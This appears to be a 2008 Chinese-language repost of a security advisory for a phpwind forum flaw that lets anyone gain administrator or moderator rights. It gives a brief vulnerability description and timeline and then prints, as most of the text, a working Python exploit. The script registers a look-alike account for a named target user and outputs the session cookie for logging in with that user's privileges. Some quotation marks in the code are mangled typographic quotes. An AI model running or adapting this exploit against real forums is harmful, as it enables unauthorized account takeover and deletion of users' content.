phpwind管理權限泄露漏洞利用程序發(fā)布

更新時間：2008年06月06日 12:06:20 作者：

phpwind是國內使用非常廣泛的一款程序，由于在程序設計上存在錯誤，導致任何人可以取得前臺管理員及斑主權限，做刪除帖子等任意操作

漏洞發(fā)布：http://www.80sec.com/
漏洞作者：jianxin@80sec.com
漏洞廠商： http://www.phpwind.com/ 本漏洞影響phpwind所有版本
漏洞危害：高
漏洞說明：phpwind是國內使用非常廣泛的一款程序，由于在程序設計上存在錯誤，導致任何人可以取得前臺管理員及斑主權限，做刪除帖子等任意操作

利用方式：http://www.80sec.com有提供exploit
漏洞分析：由于phpwind論壇在設計上對數(shù)據(jù)庫存儲機制不了解，導致在程序邏輯上判斷有問題，用精心構造的數(shù)據(jù)注冊用戶即可獲得管理權限
漏洞修補：建議關閉注冊功能等待官方出補丁
漏洞狀態(tài)：
08.5.25發(fā)現(xiàn)此漏洞
08.6.1由80sec.com公開此漏洞

暫無補丁

原始地址：http://www.80sec.com/release/phpwind-exploit.txt

漏洞測試：

復制代碼代碼如下:

# -*- coding: gb2312 -*-   
import urllib2,httplib,sys   
httplib.HTTPConnection.debuglevel = 1   
cookies = urllib2.HTTPCookieProcessor()   
opener = urllib2.build_opener(cookies)    

def banner():   
    print ""   
    print "########################################################"   
    print "Phpwind所有版本管理權限泄露漏洞利用poc"   
    print "Copyright (C) 2006"   
    print "jianxin@80sec.com"   
    print "80sec是一個新的致力于web安全的小團體"   
    print "http://www.80sec.com"    

def usage():   
    banner()   
    print "Usage:\n"   
    print "   $ ./phpwind.py pwforumurl usertoattack\n"   
    print "   pwforumurl    目標論壇地址如http://www.80sec.com/"   
    print "   usertoattack    目標擁有權限的斑竹或管理員"   
    print "   攻擊結果將會在目標論壇注冊一個和目標用戶一樣的帳戶"   
    print "   最新版本可以使用uid登陸"   
    print "   其他版本可以使用cookie+useragent登陸"   
    print "########################################################"   
    print ""    

argvs=sys.argv   
usage()    

data = "regname=%s%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=foo@foo.com&regemailtoall=1&step=2" % (argvs[2],”%c1″)   
pwurl = “%s/register.php” % argvs[1]    

request = urllib2.Request(   
    url     = pwurl ,   
        headers = {'Content-Type' : ‘application/x-www-form-urlencoded','User-Agent': '80sec owned this'},   
        data    = data)    

f=opener.open(request)   
headers=f.headers.dict   
cookie=headers["set-cookie"]   
try:   
    if cookie.index('winduser'):   
        print “Exploit Success!”   
        print “Login with uid password @80sec or Cookie:”   
        print cookie   
        print “User-agent: 80sec owned this”   
except:   
    print “Error! http://www.80sec.com”   
    print “Connect root#80sec.com”